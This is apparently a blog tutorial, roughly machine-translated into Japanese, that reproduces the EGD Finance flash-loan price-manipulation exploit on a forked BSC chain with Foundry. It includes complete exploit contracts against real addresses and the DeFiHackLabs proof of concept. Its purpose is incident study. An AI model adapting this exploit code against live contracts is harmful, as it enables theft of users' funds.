その他の関連コンテンツは個人ホームページでご覧いただけます
EGD 価格操作攻撃の概要については、「EGD 価格操作攻撃の原理の分析 – palcon+etherscan」を参照してください。
ファウンドリの概要は次のとおりです:テストの作成 - ファウンドリの中国語ドキュメント (learnblockchain.cn)
参考リンク:EGD Finance 価格操作攻撃インシデント分析 - YINHUI's BLOG (yinhui1984.github.io)
1. 現状の概要とアイデアの紹介
EGD-Finance プロジェクトの主な目的:质押USDT一段事件,可提取奖励EGD Token
前述したように、フラッシュ ローンはPancake LPs
プールから大量の USDT を借り、EGD Token
報酬の数はプール内の 2 つのトークンの数にある程度依存するため、これは次のことにつながります。価格操作攻撃。
私はファウンドリにあまり詳しくなく、大規模なソリッド プロジェクトを書いたこともありません。
攻撃の再現を 3 つの部分に分けます。
- フラッシュローンを利用して価格をコントロールする
- EGD プロジェクトのロジックを実装し、ステーキング後に報酬を交換します。
- フラッシュローンは価格操作を実現し、EGD取引所の論理的な抜け穴を利用して裁定取引を実現します。
2. フラッシュローンは価格操作を可能にする
- 呼び出す外部コントラクト関数については、そのアドレスが必要であるだけでなく、呼び出す必要がある対応する関数をフォームに記述します
接口interface()
。interface()
特定の関数コードは記述されません。関数アクセスの変更は外部です。 - Solidity には浮動小数点数はありません。一般に、それに乗算するパーセンテージの書き方を学習できます。
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
interface IERC20 {
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
}
interface IEGD_Finance {
function getEGDPrice() external view returns (uint);
}
interface IPancakePair {
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
//Pancake借出USDT的池子
address constant EGD_USDT_LPPool = 0xa361433E409Adac1f87CDF133127585F8a93c67d;
// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
contract pricemanipulation is Test{
function setUp() public{
//fork stake()函数调用前的状态
vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
//给账户上初始分配点USDT
deal(address(usdt),address(this), 30000*1 ether);
}
function testPrice() public {
console.log("EGD Price before:", IEGD_Finance(EGD_Finance).getEGDPrice());
uint amount = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000;
IPancakePair(EGD_USDT_LPPool).swap(0, amount, address(this), "0x00");
console.log("EGD Price after( return flashloan )", IEGD_Finance(EGD_Finance).getEGDPrice());
}
function pancakeCall(address sender, uint256 amount1, uint256 amount2, bytes calldata data) public {
//闪电贷之前EGD的价格
console.log("EGD Price after( flashloan )", IEGD_Finance(EGD_Finance).getEGDPrice()) ;
//归还相应的本金
bool success = IERC20(usdt).transfer(address(EGD_USDT_LPPool),(amount2 * 10_500_000_000) / 10_000_000_000) ;
require(success) ;
}
}
テスト結果: 価格操作が成功したことを示します
/test/attack_test # forge test --match-contract pricemanipulation -vvv
[⠃] Compiling...
No files changed, compilation skipped
Running 1 test for test/test_pricemanipulation.sol:pricemanipulation
[PASS] testPrice() (gas: 87598)
Logs:
EGD Price before: 8093644493314726
EGD Price after( flashloan ) 60702333
EGD Price after( return flashloan ) 8498326714945346
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 576.95ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
3. 最初にUSDTをステークし、次にEGD報酬を受け取ります
- ここでわかりにくい点は、ターゲット関数の userInfo が構造マッピングであり、対応する値を取得するためにインターフェイスで関数として表現されることです。誰かが説明してくれることを願っています。インターフェイスの使用法は次のとおりです。このように書かれていますか?、後でもう一度試してください。
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
interface IERC20 {
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
}
interface IEGD_Finance {
function getEGDPrice() external view returns (uint);
function bond(address invitor) external;
function stake(uint amount) external;
function claimAllReward() external;
function calculateAll(address addr) external view returns (uint);
function calculateReward(address addr, uint slot) external view returns (uint);
function userInfo(address) external view returns (
uint totalAmount,
uint totalClaimed,
address invitor,
bool isRefer,
uint refer,
uint referReward
);
}
// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
// EGD代币的地址
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;
contract stake_reward is Test{
function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
deal(address(usdt),address(this), 30000*1 ether);
}
function test_stake() public {
//具体可见EGD-Fiance源码,bond函数填写邀请人
IEGD_Finance(EGD_Finance).bond(address(0x85cbfaBD709c744C84A36BA47145396d724EE751));
//stake()过程中会直接继续代币转账,这里需要先approve(没真实写过的话,可能会忘这一步)
IERC20(usdt).approve(address(EGD_Finance), 100 ether);
IEGD_Finance(EGD_Finance).stake(100 ether);
(uint totalAmount, , , , , ) = IEGD_Finance(EGD_Finance).userInfo(address(this));
//接下来查看对应的资金
console.log("Stake USDT amount:", totalAmount);
console.log("EGD reward: ", IERC20(egd).balanceOf(address(this)));
// foundry的cheatcode,跳转到某个区块
vm.warp(block.timestamp + (4 * 60 * 24 * 4));
//获得对应的奖励
IEGD_Finance(EGD_Finance).claimAllReward();
console.log("EGD reward after 2 days: ", IERC20(egd).balanceOf(address(this)));
}
}
/test/attack_test # forge test --match-contract stake_reward -vvv
[⠊] Compiling...
[⠰] Compiling 1 files with 0.8.22
[⠒] Solc 0.8.22 finished in 1.28s
Compiler run successful!
Running 1 test for test/test_stake_reward.sol:stake_reward
[PASS] test_stake() (gas: 865865)
Logs:
Stake USDT amount: 100000000000000000000
EGD reward: 0
EGD reward after 4 days: 18016435864263240000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 591.56ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
テスト結果: USDT をステーキングして EGD を取得するプロセスが正常に実装されました
4. フラッシュ ローンは価格操作を実現し、EGD 取引所の論理的な抜け穴を利用して裁定取引を実現します。
- 上記の 2 つのステップを単純に組み合わせて、EGD-Finance の関数を呼び出して報酬を引き出します。
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
interface IERC20 {
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
}
interface IEGD_Finance {
function getEGDPrice() external view returns (uint);
function bond(address invitor) external;
function stake(uint amount) external;
function claimAllReward() external;
function calculateAll(address addr) external view returns (uint);
function calculateReward(address addr, uint slot) external view returns (uint);
function userInfo(address) external view returns (
uint totalAmount,
uint totalClaimed,
address invitor,
bool isRefer,
uint refer,
uint referReward
);
}
interface IPancakePair {
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
//Pancake借出USDT的池子
address constant EGD_USDT_LPPool = 0xa361433E409Adac1f87CDF133127585F8a93c67d;
// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
// EGD代币的地址
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;
contract HackerTest is Test{
function setUp() public{
vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
deal(address(usdt),address(this), 30000*1 ether);
}
function stake() public {
IEGD_Finance(EGD_Finance).bond(address(0x85cbfaBD709c744C84A36BA47145396d724EE751));
IERC20(usdt).approve(address(EGD_Finance), 100 ether);
IEGD_Finance(EGD_Finance).stake(100 ether);
}
function test_exploit() public {
stake();
vm.warp(block.timestamp + (4 * 60 * 24 * 2));
console.log("EGD Price before flashloan:", IEGD_Finance(EGD_Finance).getEGDPrice());
//计算用户地址,当前存款下获得的奖励数目
uint totalreward = IEGD_Finance(EGD_Finance).calculateAll(address(this));
console.log("Normal EGD reward:", totalreward);
uint amount = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_000_000 / 10_000_000_000;
IPancakePair(EGD_USDT_LPPool).swap(0, amount, address(this), "0x00");
}
function pancakeCall(address sender, uint256 amount1, uint256 amount2, bytes calldata data) public{
console.log("EGD Price after flashloan: ", IEGD_Finance(EGD_Finance).getEGDPrice());
//提取账户奖励
IEGD_Finance(EGD_Finance).claimAllReward();
console.log("Hacker's EGD balance: ", IERC20(egd).balanceOf(address(this)));
bool success = IERC20(usdt).transfer(address(EGD_USDT_LPPool),(amount2 * 10_500_000_000) / 10_000_000_000) ;
require(success) ;
}
}
5. DefiHacklabs が実装する POC の概要
- Defihacklabs での複製。
interface
最もよく使用されるものを./interface.sol
ファイルに保存します。 - 追加の手順では、
IPancakeRouter
このプールを使用して、アービトラージから取得したすべての EGD を USDT に交換します。これについては、前の分析で説明しました。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~36,044 US$
// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy)
// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic)
// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254
// Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8
// @Analysis
// Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464
// PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776
IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;
contract Attacker is Test {
function setUp() public {
//fork对应的区块状态
vm.createSelectFork("bsc", 20_245_522);
vm.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool");
vm.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool");
vm.label(address(pancakeRouter), "pancakeRouter");
vm.label(EGD_Finance, "EGD_Finance");
vm.label(usdt, "USDT");
vm.label(egd, "EGD");
}
function testExploit() public {
Exploit exploit = new Exploit();
console.log("-------------------- Pre-work, stake 100 USDT to EGD Finance --------------------");
console.log("Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8");
console.log("Attacker Stake 100 USDT to EGD Finance");
//先实现对应的质押USDT
exploit.stake();
vm.warp(1_659_914_146); // block.timestamp = 2022-08-07 23:15:46(UTC)
console.log("-------------------------------- Start Exploit ----------------------------------");
emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
emit log_named_decimal_uint(
"[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
);
emit log_named_decimal_uint(
"[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18
);
console.log("Attacker manipulating price oracle of EGD Finance...");
exploit.harvest();
console.log("-------------------------------- End Exploit ----------------------------------");
emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
}
}
// Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee
contract Exploit is Test {
uint256 borrow1;
uint256 borrow2;
//与前文流程一致
function stake() public {
// Give exploit contract 100 USDT, 给账户初始复制
deal(address(usdt), address(this), 100 ether);
// Set invitor
IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
// Stake 100 USDT
IERC20(usdt).approve(EGD_Finance, 100 ether);
IEGD_Finance(EGD_Finance).stake(100 ether);
}
function harvest() public {
console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
borrow1 = 2000 * 1e18;
USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
console.log("Flashloan[1] payback success");
IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); // refund all USDT
}
//用不同的calldata,来区分两次闪电贷的过程
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
if (keccak256(data) == keccak256("0000")) {
console.log("Flashloan[1] received");
console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve");
//第二次闪电贷借出多少USDT
borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; // Attacker borrows 99.99999925% USDT of EGD_USDT_LPPool reserve
EGD_USDT_LPPool.swap(0, borrow2, address(this), "00");
console.log("Flashloan[2] payback success");
// Swap all egd -> usdt
console.log("Swap the profit...");
address[] memory path = new address[](2);
path[0] = egd;
path[1] = usdt;
IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
IERC20(egd).balanceOf(address(this)), 1, path, address(this), block.timestamp
);
bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 1e18); // Pancakeswap fee is 0.25%, so attacker needs to pay back usdt >2000/0.9975 (Cannot be exactly 0.25%)
require(suc, "Flashloan[1] payback failed");
} else {
console.log("Flashloan[2] received");
emit log_named_decimal_uint(
"[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
);
// -----------------------------------------------------------------
console.log("Claim all EGD Token reward from EGD Finance contract");
IEGD_Finance(EGD_Finance).claimAllReward();
emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18);
// -----------------------------------------------------------------
//计算需要总共返还闪电贷的费用
uint256 swapfee = (amount1 * 10_000 / 9970) - amount1; // Attacker needs to pay >0.25% fee back to Pancakeswap
bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1 + swapfee);
require(suc, "Flashloan[2] payback failed");
}
}
}
// interface
interface IEGD_Finance {
function bond(address invitor) external;
function stake(uint256 amount) external;
function calculateAll(address addr) external view returns (uint256);
function claimAllReward() external;
function getEGDPrice() external view returns (uint256);
}